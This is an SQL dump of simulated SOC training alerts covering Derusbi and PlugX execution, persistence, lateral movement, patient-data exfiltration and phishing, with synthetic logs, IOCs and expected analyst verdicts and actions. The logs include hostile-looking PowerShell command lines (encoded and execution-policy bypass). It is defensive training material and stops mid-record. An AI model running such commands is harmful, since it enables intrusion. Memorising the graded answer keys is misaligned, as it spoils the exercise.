INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(785, 'Suspicious Execution of Derusbi Malware', 'high', 'Endpoint Detection and Response (EDR) System', 'The EDR system detected the execution of the Derusbi malware on an internal endpoint. This activity follows a successful credential harvesting attempt. The malware is known for establishing persistence and conducting reconnaissance.', 'Malware Execution', 'T1059 - Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:12Z\",\"event_id\":\"12345\",\"hostname\":\"compromised-host.internal\",\"username\":\"jdoe\",\"src_ip\":\"192.168.1.15\",\"external_ip\":\"203.0.113.45\",\"malware_name\":\"Derusbi\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\derusbi.exe\",\"file_hash\":\"a7b9c3d4e5f67890123456789abcdef1234567890123456789abcdef12345678\",\"process_id\":5432,\"command_line\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\derusbi.exe\",\"behavior\":\"Persistence Mechanism\",\"network_activity\":{\"destination_ip\":\"203.0.113.45\",\"destination_port\":443}}', '2026-01-11 23:42:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a7b9c3d4e5f67890123456789abcdef1234567890123456789abcdef12345678\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"File hash associated with Derusbi malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"derusbi.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Executable linked to Derusbi malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(786, 'Persistence Mechanism Identified', 'high', 'Registry and Scheduled Tasks Monitoring', 'The attackers embed themselves within the network, creating persistent backdoors that allow them to remain undetected while they continue their operations. A scheduled task was discovered on host 192.168.1.15 that executes a malicious script to maintain persistence. Additionally, a suspicious registry key modification was detected.', 'Persistence', 'T1053 - Scheduled Task/Job', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:00Z\",\"host\":\"192.168.1.15\",\"user\":\"compromised_user\",\"task_name\":\"UpdateChecker\",\"task_path\":\"C:\\\\Windows\\\\System32\\\\Tasks\\\\UpdateChecker\",\"task_command\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\scripts\\\\update.ps1\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\MaliciousApp\",\"registry_value\":\"C:\\\\malware\\\\malicious.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"attacker_ip\":\"203.0.113.45\"}', '2026-01-11 23:42:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash identified as a known malware sample.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.434Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:00Z\\\",\\\"host\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"task_name\\\":\\\"UpdateChecker\\\",\\\"task_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\UpdateChecker\\\",\\\"task_command\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\\\\\scripts\\\\\\\\update.ps1\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\malware\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.434Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:00Z\\\",\\\"host\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"task_name\\\":\\\"UpdateChecker\\\",\\\"task_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\UpdateChecker\\\",\\\"task_command\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\\\\\scripts\\\\\\\\update.ps1\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\malware\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.434Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:00Z\\\",\\\"host\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"task_name\\\":\\\"UpdateChecker\\\",\\\"task_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\UpdateChecker\\\",\\\"task_command\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\\\\\scripts\\\\\\\\update.ps1\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\malware\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.434Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:00Z\\\",\\\"host\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"task_name\\\":\\\"UpdateChecker\\\",\\\"task_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\UpdateChecker\\\",\\\"task_command\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\\\\\scripts\\\\\\\\update.ps1\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\malware\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.434Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:00Z\\\",\\\"host\\\":\\\"192.168.1.15\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"task_name\\\":\\\"UpdateChecker\\\",\\\"task_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\UpdateChecker\\\",\\\"task_command\\\":\\\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\\\\\scripts\\\\\\\\update.ps1\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\malware\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(787, 'Lateral Movement Traced', 'high', 'Network Traffic Analysis', 'Deep Panda identified conducting internal reconnaissance to map network and locate critical databases. Movement detected from 10.0.0.45 to 192.168.1.100, targeting database server containing sensitive patient records.', 'Internal Reconnaissance', 'T1046', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:28Z\",\"source_ip\":\"10.0.0.45\",\"destination_ip\":\"192.168.1.100\",\"malicious_ip\":\"203.0.113.5\",\"username\":\"jdoe\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"event\":\"Lateral Movement Detected\",\"protocol\":\"SMB\",\"filename\":\"db_script.ps1\",\"action\":\"Access Attempted\",\"result\":\"Success\"}', '2026-01-11 23:42:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of targeted database server.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Deep Panda.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware used by Deep Panda.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"db_script.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Script file used during lateral movement.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Compromised user account used for lateral movement.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(788, 'Data Exfiltration Detected', 'critical', 'Data Loss Prevention (DLP) Systems', 'Anomalous data transfer detected from internal network to an external IP, indicating the extraction of unencrypted patient data from Anthem\'s database.', 'Data Exfiltration', 'T1020: Automated Exfiltration', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"10.1.2.45\",\"destination_ip\":\"203.0.113.45\",\"user\":\"jdoe\",\"file_name\":\"patient_data_extract.csv\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"transfer_size\":\"15MB\",\"protocol\":\"HTTPS\",\"action\":\"allowed\",\"alert_id\":\"DLP-2023-5678\"}', '2026-01-11 23:42:29', '2026-02-16 18:00:40', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntel\",\"verdict\":\"malicious\",\"details\":\"Known command-and-control server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.2.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Corporate workstation\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"patient_data_extract.csv\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Contains sensitive patient data\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No detection across multiple AV engines\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.436Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.1.2.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"patient_data_extract.csv\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"transfer_size\\\":\\\"15MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert_id\\\":\\\"DLP-2023-5678\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.436Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.1.2.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"patient_data_extract.csv\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"transfer_size\\\":\\\"15MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert_id\\\":\\\"DLP-2023-5678\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.436Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.1.2.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"patient_data_extract.csv\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"transfer_size\\\":\\\"15MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert_id\\\":\\\"DLP-2023-5678\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.436Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.1.2.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"patient_data_extract.csv\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"transfer_size\\\":\\\"15MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert_id\\\":\\\"DLP-2023-5678\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.436Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.1.2.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_name\\\":\\\"patient_data_extract.csv\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"transfer_size\\\":\\\"15MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert_id\\\":\\\"DLP-2023-5678\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(789, 'Initial Access via Spear Phishing Campaign', 'high', 'Email security logs', 'APT1 initiated the breach with a targeted spear phishing campaign, sending malicious emails to OPM employees to harvest credentials, enabling them to infiltrate the network.', 'Phishing', 'T1566.001', 1, 'investigating', 74, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"email_id\":\"3efc57b5-9b4e-4c2e-abc3-7d3b6e2f6f8d\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.2.3\",\"recipient\":\"jdoe@opm.gov\",\"sender\":\"compromised@trustedsource.com\",\"subject\":\"Urgent: Action Required\",\"attachment_name\":\"HR_Policy_Update.pdf\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malicious_url\":\"http://malicious-site.com/login\",\"detected_phishing\":true}', '2026-01-11 23:44:22', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Threat Exchange\",\"verdict\":\"malicious\",\"details\":\"IP known for hosting phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware distribution.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-site.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"PhishTank\",\"verdict\":\"malicious\",\"details\":\"URL flagged for phishing.\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"compromised@trustedsource.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"Email address used in multiple phishing campaigns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"escalate\"]}', 'novice', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.438Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"email_id\\\":\\\"3efc57b5-9b4e-4c2e-abc3-7d3b6e2f6f8d\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.2.3\\\",\\\"recipient\\\":\\\"jdoe@opm.gov\\\",\\\"sender\\\":\\\"compromised@trustedsource.com\\\",\\\"subject\\\":\\\"Urgent: Action Required\\\",\\\"attachment_name\\\":\\\"HR_Policy_Update.pdf\\\",\\\"attachment_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malicious_url\\\":\\\"http://malicious-site.com/login\\\",\\\"detected_phishing\\\":true}\"},{\"timestamp\":\"2026-02-01T20:31:22.438Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"email_id\\\":\\\"3efc57b5-9b4e-4c2e-abc3-7d3b6e2f6f8d\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.2.3\\\",\\\"recipient\\\":\\\"jdoe@opm.gov\\\",\\\"sender\\\":\\\"compromised@trustedsource.com\\\",\\\"subject\\\":\\\"Urgent: Action Required\\\",\\\"attachment_name\\\":\\\"HR_Policy_Update.pdf\\\",\\\"attachment_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malicious_url\\\":\\\"http://malicious-site.com/login\\\",\\\"detected_phishing\\\":true}\"},{\"timestamp\":\"2026-02-01T20:30:22.438Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"email_id\\\":\\\"3efc57b5-9b4e-4c2e-abc3-7d3b6e2f6f8d\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.2.3\\\",\\\"recipient\\\":\\\"jdoe@opm.gov\\\",\\\"sender\\\":\\\"compromised@trustedsource.com\\\",\\\"subject\\\":\\\"Urgent: Action Required\\\",\\\"attachment_name\\\":\\\"HR_Policy_Update.pdf\\\",\\\"attachment_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malicious_url\\\":\\\"http://malicious-site.com/login\\\",\\\"detected_phishing\\\":true}\"},{\"timestamp\":\"2026-02-01T20:29:22.438Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"email_id\\\":\\\"3efc57b5-9b4e-4c2e-abc3-7d3b6e2f6f8d\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.2.3\\\",\\\"recipient\\\":\\\"jdoe@opm.gov\\\",\\\"sender\\\":\\\"compromised@trustedsource.com\\\",\\\"subject\\\":\\\"Urgent: Action Required\\\",\\\"attachment_name\\\":\\\"HR_Policy_Update.pdf\\\",\\\"attachment_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malicious_url\\\":\\\"http://malicious-site.com/login\\\",\\\"detected_phishing\\\":true}\"},{\"timestamp\":\"2026-02-01T20:28:22.438Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"email_id\\\":\\\"3efc57b5-9b4e-4c2e-abc3-7d3b6e2f6f8d\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.1.2.3\\\",\\\"recipient\\\":\\\"jdoe@opm.gov\\\",\\\"sender\\\":\\\"compromised@trustedsource.com\\\",\\\"subject\\\":\\\"Urgent: Action Required\\\",\\\"attachment_name\\\":\\\"HR_Policy_Update.pdf\\\",\\\"attachment_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"malicious_url\\\":\\\"http://malicious-site.com/login\\\",\\\"detected_phishing\\\":true}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(790, 'Execution of PlugX RAT for Network Control', 'high', 'Endpoint detection and response (EDR) logs', 'APT1 has deployed the PlugX RAT to execute commands and manipulate system processes, ensuring continued access and control over the network. The RAT was executed from a suspicious executable found on the endpoint.', 'Malware Execution', 'T1203: Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:38Z\",\"event_type\":\"process_creation\",\"hostname\":\"compromised-host\",\"username\":\"john_doe\",\"source_ip\":\"192.168.1.10\",\"destination_ip\":\"203.0.113.45\",\"process_name\":\"plugx.exe\",\"process_id\":5678,\"parent_process_id\":1234,\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"file_path\":\"C:\\\\Users\\\\john_doe\\\\AppData\\\\Local\\\\Temp\\\\plugx.exe\"}', '2026-01-11 23:44:22', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat 